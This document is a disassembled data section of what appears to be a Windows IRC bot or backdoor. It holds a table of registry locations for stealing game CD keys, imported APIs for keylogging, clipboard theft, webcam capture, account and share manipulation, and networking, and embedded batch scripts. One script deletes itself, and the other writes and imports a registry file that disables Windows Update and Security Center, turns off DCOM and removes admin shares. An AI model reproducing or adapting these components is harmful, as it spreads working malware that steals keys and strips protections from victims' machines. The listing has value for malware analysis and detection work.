aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .text:00427F0Co
aCdkey		db 'CDKey',0            ; DATA XREF: .text:00427F08o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .text:off_427F04o
		align 4
asc_429118:				; DATA XREF: sub_408503+E7o
					; sub_408503+F2o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408503+8Fo
					; sub_40CD3A:loc_4110F8o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408503+7Eo
					; sub_4087CA+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408503+2Bo
		align 4
unk_42913C	db    2			; DATA XREF: sub_4086B2+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_429170	db    2			; DATA XREF: sub_4086B2+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_4087CA+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_4087CA+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40891C+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40891C+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40891C:loc_409557o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40891C+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40891C+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40891C+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40891C+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40891C+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40891C+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40891C:loc_4094B9o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40891C+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40891C+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40891C:loc_40946Fo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40891C+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40891C+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40891C+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40891C+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40891C:loc_4093FBo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40891C+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40891C+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40891C:loc_4093B1o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40891C+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40891C+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40891C:loc_409367o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40891C+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40891C+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40891C+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40891C+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40891C+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40891C+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40891C+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40891C+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40891C+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40891C+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40891C+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40891C:loc_40925Co
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40891C+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40891C+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40891C+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40891C:loc_4091FDo
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40891C+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40891C+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40891C+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40891C+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40891C+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40891C+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40891C+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40891C+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40891C+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40891C+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40891C+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40891C:loc_4090DDo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40891C+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40891C+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40891C+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40891C+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40891C+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40891C+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40891C+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40891C+62Do
					; .text:0042C5DCo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40891C+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40891C+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40891C+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40891C+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_40891C+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_40891C+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_40891C+5D2o
					; sub_40CD3A+2035o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40891C+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40891C+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_40891C+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_40891C+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40891C+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40891C+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_40891C+577o
					; .text:0042CA90o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40891C+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40891C+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40891C+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40891C+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40891C+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40891C+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40891C+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40891C+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40891C+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40891C+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40891C+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40891C+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40891C+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40891C+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40891C+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40891C+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40891C+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40891C+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40891C+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40891C:loc_408D2Bo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40891C:loc_408D03o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40891C+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40891C+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40891C+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40891C+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40891C+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40891C+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40891C+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40891C:loc_408C55o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40891C+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40891C+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40891C:loc_408C10o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40891C+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40891C+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40891C+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40891C+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40891C+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40891C+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40891C:loc_408B7Bo
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40891C+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40891C+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40891C+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40891C:loc_408B14o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40891C+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40891C+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40891C+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40891C+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40891C+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40891C+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40891C+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40891C+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40891C:loc_408A51o
					; sub_41EF8E+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40891C:loc_408A24o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40891C+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40891C+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40891C+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40891C+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40891C+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40891C+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40891C+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40891C+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40891C+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40891C+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40891C+23o
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40891C+Ao
		align 4
dword_429A8C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4095A9+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409B27+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_409BEC+5o
					; sub_4141DB+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_409C6E+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409D12+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409D34+140o
		align 8
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409D34+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_409D34+48o
		align 4
aCA_bat		db 'c:\a.bat',0         ; DATA XREF: sub_409EBC+29o
		align 8
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409EBC+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 10h
